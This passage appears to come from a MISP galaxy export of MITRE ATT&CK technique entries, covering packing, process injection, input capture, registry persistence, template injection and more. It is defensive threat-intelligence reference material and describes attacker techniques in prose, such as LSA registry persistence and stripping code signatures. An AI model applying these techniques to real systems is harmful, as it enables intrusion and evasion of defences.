https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1045"*

View relationships graph

Software Packing - T1045 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-

language:likelihood-probability="almost-certain"

Table 4396. Table References

Links
http://en.wikipedia.org/wiki/Executable_compression
https://attack.mitre.org/techniques/T1045
https://capec.mitre.org/data/definitions/570.html
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

Biometric Spoofing - T1460

An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Biometric Spoofing - T1460"*

View relationships graph

Biometric Spoofing - T1460 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 4397. Table References

Links
https://attack.mitre.org/techniques/T1460

Data Staged - T1074

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

Adversaries may choose to stage data from a victim network in a centralized location prior to

Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Staged - T1074"*

Table 4398. Table References

Links
https://attack.mitre.org/techniques/T1074
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf

Execution Guardrails - T1480

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

The tag is: *misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"*

Table 4399. Table References

Links
https://attack.mitre.org/techniques/T1480
https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html

Process Injection - T1055

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Injection - T1055"*

Table 4400. Table References

Links
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055
https://capec.mitre.org/data/definitions/640.html
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.gnu.org/software/acct/

Input Capture - T1056

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1056"*

Table 4401. Table References

Links
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
https://attack.mitre.org/techniques/T1056
https://capec.mitre.org/data/definitions/569.html

Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"*

Table 4402. Table References

Links
https://attack.mitre.org/techniques/T1057
https://capec.mitre.org/data/definitions/573.html

Stage Capabilities - T1608

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
- Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
- Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with

[Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)

The tag is: *misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608"*

Table 4403. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://attack.mitre.org/techniques/T1608
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://www.digicert.com/kb/ssl-certificate-installation.htm
https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

Account Discovery - T1087

Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"*

Table 4404. Table References

Links
https://attack.mitre.org/techniques/T1087
https://capec.mitre.org/data/definitions/575.html
https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Valid Accounts - T1078

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)

The tag is: *misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"*

Table 4405. Table References

Links
https://attack.mitre.org/techniques/T1078
https://capec.mitre.org/data/definitions/560.html
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

The tag is: *misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"*

View relationships graph

Multilayer Encryption - T1079 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 4406. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1079
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Account Manipulation - T1098

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"*

Table 4407. Table References

Links
https://attack.mitre.org/techniques/T1098
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
https://github.com/gentilkiwi/mimikatz/issues/92
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670

Modify Registry - T1112

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"*

Table 4408. Table References

Links
https://attack.mitre.org/techniques/T1112
https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
https://capec.mitre.org/data/definitions/203.html
https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
https://docs.microsoft.com/sysinternals/downloads/reghide
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
https://technet.microsoft.com/en-us/library/cc732643.aspx
https://technet.microsoft.com/en-us/library/cc754820.aspx

Authentication Package - T1131

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package - T1131"*

View relationships graph

Authentication Package - T1131 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002" with estimative-language:likelihood-probability="almost-certain"

Table 4409. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html

https://attack.mitre.org/techniques/T1131
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture - T1113

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"*

Table 4410. Table References

Links
https://attack.mitre.org/techniques/T1113
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://capec.mitre.org/data/definitions/648.html
https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8

Dynamic DNS - T1311

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311).

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"*

View relationships graph

Dynamic DNS - T1311 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"

Table 4411. Table References

Links
https://attack.mitre.org/techniques/T1311

Email Collection - T1114

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Collection - T1114"*

Table 4412. Table References

Links
https://attack.mitre.org/techniques/T1114
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/

Input Prompt - T1411

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique's use.(Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

Impersonate the identity of a legitimate application

A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)

Display a prompt on top of a running legitimate application

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the `ActivityManager` API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android's accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus)

Approaches to display a prompt include:

- A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)

Fake device notifications

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"*

Table 4413. Table References

Links
http://cloak-and-dagger.org/
http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
http://w2spconf.com/2011/papers/felt-mobilephishing.pdf
https://attack.mitre.org/techniques/T1411
https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf
https://developer.android.com/guide/components/activities/background-starts
https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://www.group-ib.com/blog/gustuff
https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/
https://www.skycure.com/blog/accessibility-clickjacking/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html

https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/
https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Prompt - T1141"*

View relationships graph

Input Prompt - T1141 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

Table 4414. Table References

Links
https://attack.mitre.org/techniques/T1141
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
https://capec.mitre.org/data/definitions/569.html
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
https://logrhythm.com/blog/do-you-trust-your-computer/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Clipboard Data - T1115

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"*

Table 4415. Table References

Links
https://attack.mitre.org/techniques/T1115
https://capec.mitre.org/data/definitions/637.html
https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
https://msdn.microsoft.com/en-us/library/ms649012

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time (Citation: Malware Persistence on OS X).

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"*

View relationships graph

LC_LOAD_DYLIB Addition - T1161 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"

Table 4416. Table References

Links
https://attack.mitre.org/techniques/T1161
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Code Signing - T1116

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1116"*

View relationships graph

Code Signing - T1116 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"

Table 4417. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://attack.mitre.org/techniques/T1116
https://en.wikipedia.org/wiki/Code_signing
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Collection - T1119"*

Table 4418. Table References

Links
https://attack.mitre.org/techniques/T1119

Template Injection - T1221

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)

Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Template Injection - T1221"*

Table 4419. Table References

Links
http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
https://attack.mitre.org/techniques/T1221
https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
https://blog.talosintelligence.com/2017/07/template-injection.html
https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/

https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
https://github.com/ryhanson/phishery
https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780

Audio Capture - T1123

An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

The tag is: *misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"*

Table 4420. Table References

Links
https://attack.mitre.org/techniques/T1123
https://capec.mitre.org/data/definitions/634.html

Data Encoding - T1132

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encoding - T1132"*

Table 4421. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1132
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

Capture Camera - T1512

Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.

The tag is: *misp-galaxy:mitre-attack-pattern="Capture Camera - T1512"*

Table 4422. Table References

Links
https://attack.mitre.org/techniques/T1512
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Video Capture - T1125

An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

The tag is: *misp-galaxy:mitre-attack-pattern="Video Capture - T1125"*

Table 4423. Table References

Links
https://attack.mitre.org/techniques/T1125
https://capec.mitre.org/data/definitions/634.html
https://objective-see.com/blog/blog_0x25.html

Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in.

